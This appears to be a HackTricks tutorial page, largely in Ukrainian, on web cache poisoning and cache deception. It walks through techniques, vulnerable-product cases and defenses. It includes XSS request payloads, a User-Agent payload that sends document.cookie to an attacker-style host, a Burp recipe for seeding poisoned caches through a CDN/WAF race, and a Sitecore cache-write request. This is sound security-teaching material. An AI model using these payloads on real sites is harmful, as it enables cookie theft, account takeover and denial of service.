Cache Poisoning and Cache Deception
Reading time: 16 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Різниця
Яка різниця між web cache poisoning та web cache deception?
- У web cache poisoning зловмисник змушує застосунок зберегти в cache шкідливий контент, і цей контент подається з cache іншим користувачам застосунку.
- У web cache deception зловмисник змушує застосунок зберегти в cache чутливий контент іншого користувача, а потім отримує цей контент з cache.
Cache Poisoning
Cache poisoning спрямований на маніпулювання client-side cache, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частково коректними або під контролем зловмисника. Масштаб впливу залежить від популярності ураженої сторінки, оскільки заражена відповідь віддається виключно користувачам, які відвідують сторінку під час періоду ураження cache.
Проведення атаки cache poisoning включає кілька кроків:
- Identification of Unkeyed Inputs: Це параметри, які, хоча й не потрібні для кешування запиту, можуть змінювати відповідь сервера. Виявлення таких параметрів критично, оскільки їх можна використати для маніпуляції cache.
- Exploitation of the Unkeyed Inputs: Після ідентифікації unkeyed inputs наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
- Ensuring the Poisoned Response is Cached: Останній крок — переконатися, що модифікована відповідь зберігається в cache. Таким чином будь-який користувач, який заходить на уражену сторінку під час отруєння cache, отримає заражену відповідь.
Discovery: Check HTTP headers
Зазвичай, коли відповідь була збережена в cache, буде заголовок, що це вказує; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: HTTP Cache headers.
Discovery: Caching error codes
Якщо ви підозрюєте, що відповідь зберігається в cache, можна спробувати відправити запит з некоректним заголовком, який має відповідатися status code 400. Потім спробуйте звернутися до того ж ресурсу нормально, і якщо відповідь — status code 400, значить є вразливість (і це може дозволити навіть DoS).
Ви можете знайти більше варіантів у:
Однак зауважте, що іноді такі коди статусу не кешуються, тому цей тест може бути ненадійним.
Discovery: Identify and evaluate unkeyed inputs
Ви можете використати Param Miner для перебору параметрів та заголовків, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок X-Forwarded-For
, щоб вказати клієнту завантажити скрипт звідти:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Викликати шкідливу відповідь від back-end сервера
Після ідентифікації параметра/хедера перевірте, як його очищують та де він відображається або як він впливає на відповідь від хедера. Чи можна ним зловживати (виконати XSS або завантажити JS-код під вашим контролем? виконати DoS?...)
Отримайте відповідь у кеші
Після того, як ви виявили сторінку, яку можна зловживати, який параметр/хедер використовувати та як його зловживати, потрібно домогтися, щоб сторінка опинилася в кеші. Залежно від ресурсу, який ви намагаєтесь помістити в кеш, це може зайняти деякий час, можливо доведеться намагатися декілька секунд.
Заголовок X-Cache
у відповіді може бути дуже корисним, оскільки він може мати значення miss
коли запит не був закешований і значення hit
коли він закешований.
Заголовок Cache-Control
також цікавий для визначення, чи кешується ресурс і коли ресурс буде закешовано знову: Cache-Control: public, max-age=1800
Ще один цікавий заголовок — Vary
. Цей заголовок часто використовується, щоб вказати додаткові заголовки, які вважаються частиною ключа кеша, навіть якщо зазвичай вони не враховуються. Тому, якщо нападник знає User-Agent
жертви, на яку він націлюється, він може poison the cache для користувачів, які використовують цей конкретний User-Agent
.
Ще один заголовок, пов'язаний з кешем, — Age
. Він визначає час у секундах, протягом якого об'єкт перебуває в proxy cache.
При кешуванні запиту будьте обережні з заголовками, які ви використовуєте, тому що деякі з них можуть бути неочікувано використані як враховані в ключі кеша, і жертві доведеться використовувати той самий заголовок. Завжди тестуйте Cache Poisoning з різними браузерами, щоб перевірити, чи це працює.
Приклади експлуатації
Найпростіший приклад
Заголовок на кшталт X-Forwarded-For
відбивається у відповіді без очищення.
Ви можете надіслати базовий XSS payload і poison the cache так, щоб кожен, хто заходить на сторінку, був XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Зауважте, що це отруїть запит до /en?region=uk
, а не до /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup it's explained the following simple scenario:
- The CDN will cache anything under
/share/
- The CDN will NOT decode nor normalize
%2F..%2F
, therfore, it can be used as path traversal для доступу до інших чутливих місць, які будуть кешуватися likehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- The web server WILL decode and normalize
%2F..%2F
, and will respond with/api/auth/session
, which contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Зверніть увагу, що якщо вразливий cookie часто використовується користувачами, звичайні запити будуть очищувати cache.
Генерація розбіжностей за допомогою роздільників, нормалізації та крапок
Перевірте:
Cache Poisoning via URL discrepancies
Cache poisoning з використанням path traversal для викрадення API key
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
because anything matching /share/*
will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Це також краще пояснено в:
Cache Poisoning via URL discrepancies
Використання декількох заголовків для exploit web cache poisoning vulnerabilities
Іноді вам доведеться exploit several unkeyed inputs, щоб мати змогу зловживати cache. Наприклад, ви можете знайти Open redirect, якщо встановите X-Forwarded-Host
на домен, яким ви керуєте, і X-Forwarded-Scheme
на http
. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme
as the domain name for the redirect, ви зможете контролювати, куди спрямовує сторінка редирект.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Використання при обмеженому Vary
заголовку
Якщо ви виявили, що X-Host
заголовок використовується як доменне ім'я для завантаження JS ресурсу, але в відповіді заголовок Vary
вказує User-Agent
, тоді потрібно знайти спосіб exfiltrate User-Agent жертви і отруїти кеш, використовуючи цей user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Надішліть GET-запит з тим самим параметром у URL і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, будь-хто, хто звертається до цього URL, фактично використовуватиме параметр із body. Як vuln, який знайшов James Kettle на сайті Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There is a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it's possible to separate parameters in ruby servers using the char ;
instead of &
. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Тут можна дізнатися, як виконувати Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
Інструмент Web Cache Vulnerability Scanner можна використовувати для автоматичного тестування на web cache poisoning. Він підтримує багато різних технік і добре налаштовується.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Цей реальний шаблон поєднує примітив header-based reflection із поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який потім подається іншим користувачам:
- The main HTML reflected an untrusted request header (e.g.,
User-Agent
) into executable context. - The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g.,
.js
), while the WAF applied weaker content inspection to GETs for static assets. - Request flow quirks allowed a request to a
.js
path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
Практичний рецепт (спостерігався в популярному CDN/WAF):
- From a clean IP (avoid prior reputation-based downgrades), set a malicious
User-Agent
via browser or Burp Proxy Match & Replace. - In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
- First request: GET a
.js
resource path on the same origin while sending your maliciousUser-Agent
. - Immediately after: GET the main page (
/
).
- The CDN/WAF routing race plus the auto-cached
.js
often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., sameVary
dimensions likeUser-Agent
).
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Багато CDNs приховують заголовки кешування; poisoning може проявлятися лише під час циклів оновлення в кілька годин. Використовуйте кілька vantage IPs і throttle, щоб уникнути rate-limit або тригерів репутації.
- Іноді використання IP із власного cloud CDN покращує консистентність маршрутизації.
- Якщо присутній строгий CSP, це все одно працює, якщо reflection виконується в основному HTML-контексті і CSP дозволяє inline execution або обходиться контекстом.
Impact:
- Якщо session cookies aren’t
HttpOnly
, zero-click ATO можливий шляхом масової ексфільтраціїdocument.cookie
від усіх користувачів, яким відправлено poisoned HTML.
Defenses:
- Перестаньте відображати request headers у HTML; суворо застосовуйте context-encode, якщо це неминуче. Узгодьте CDN та origin cache policies і уникайте varying по untrusted headers.
- Переконайтеся, що WAF застосовує content inspection послідовно до
.js
requests та static paths. - Встановіть
HttpOnly
(таSecure
,SameSite
) на session cookies.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl
handler is reached, an xmlcontrol:GlobalHeader
(derived from Sitecore.Web.UI.WebControl
) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Це записує довільний HTML під attacker‑chosen cache key, що дозволяє точне отруєння кешу після того, як ключі кешу стануть відомі.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Вразливі приклади
Apache Traffic Server (CVE-2021-27577)
ATS пересиляв фрагмент всередині URL без його видалення і генерував cache key тільки використовуючи host, path і query (ігноруючи фрагмент). Тому запит /#/../?r=javascript:alert(1)
був відправлений на бекенд як /#/../?r=javascript:alert(1)
і cache key не містив payload, лише host, path і query.
GitHub CP-DoS
Надсилання некоректного значення в заголовку content-type викликало кешовану відповідь 405. Cache key містив cookie, тому атаку було можливе проводити лише проти unauth користувачів.
GitLab + GCP CP-DoS
GitLab використовує GCP buckets для зберігання static content. GCP Buckets підтримують header x-http-method-override
. Тому можна було надіслати заголовок x-http-method-override: HEAD
і отруїти кеш, щоб повертався порожній response body. Також підтримувався метод PURGE
.
Rack Middleware (Ruby on Rails)
В Ruby on Rails застосунках часто використовується Rack middleware. Мета коду Rack — взяти значення заголовка x-forwarded-scheme
і встановити його як scheme запиту. Коли надсилається заголовок x-forwarded-scheme: http
, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково додаток може враховувати заголовок X-forwarded-host
і перенаправляти користувачів на вказаний host. Це може призвести до завантаження JavaScript файлів з сервера нападника, що становить ризик безпеки.
403 and Storage Buckets
Cloudflare раніше кешував 403 responses. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization headers призводила до 403 response, який кешувався. Хоча Cloudflare перестав кешувати 403 responses, така поведінка може досі бути присутньою в інших proxy services.
Injecting Keyed Parameters
Кеші часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр size
у запитах. Проте, якщо також надсилалася URL-encoded версія параметра (наприклад, siz%65
) з некоректним значенням, cache key будувався з правильного size
параметра. Натомість бекенд обробляв значення в URL-encoded параметрі. URL-encoding другого size
параметра призводило до його опущення кешем, але використовувалося бекендом. Призначення значення 0 цьому параметру призводило до cacheable 400 Bad Request помилки.
User Agent Rules
Деякі розробники блочать запити з user-agents, що співпадають з інструментами високого трафіку, такими як FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може вводити вразливості, як-от cache poisoning і DoS.
Illegal Header Fields
RFC7230 визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном tchar, ідеально мали б викликати 400 Bad Request response. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з invalid characters і кешує будь-яку 400 помилку, якщо лише не присутній заголовок cache-control
. Була виявлена експлойтибельна модель, де надсилання заголовка з illegal character, наприклад \
, призводило до cacheable 400 Bad Request.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
Насамперед зауважте, що extensions такі як .css
, .js
, .png
тощо зазвичай сконфігуровані так, щоб зберігатися в cache. Тому, якщо ви звертаєтесь до www.example.com/profile.php/nonexistent.js
, кеш, ймовірно, збереже response, оскільки бачить .js
extension. Але якщо application повертає відповіді зі sensitive даними користувача, що зберігаються в www.example.com/profile.php, ви можете steal ці дані інших користувачів.
Інші речі для тестування:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Ще один дуже показовий приклад можна знайти в цьому write-up: https://hackerone.com/reports/593712.
У прикладі пояснюється, що якщо ви завантажуєте неіснуючу сторінку на кшталт http://www.example.com/home.php/non-existent.css, вміст http://www.example.com/home.php (з чутливою інформацією користувача) буде повернутий і cache server збереже результат.
Після цього attacker може відкрити http://www.example.com/home.php/non-existent.css у власному браузері і спостерігати конфіденційну інформацію користувачів, які заходили раніше.
Зауважте, що cache proxy має бути сконфігурований так, щоб кешувати файли на основі extension файлу (.css), а не на основі content-type. У прикладі http://www.example.com/home.php/non-existent.css матиме text/html
content-type замість text/css
mime type.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
Automatic Tools
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.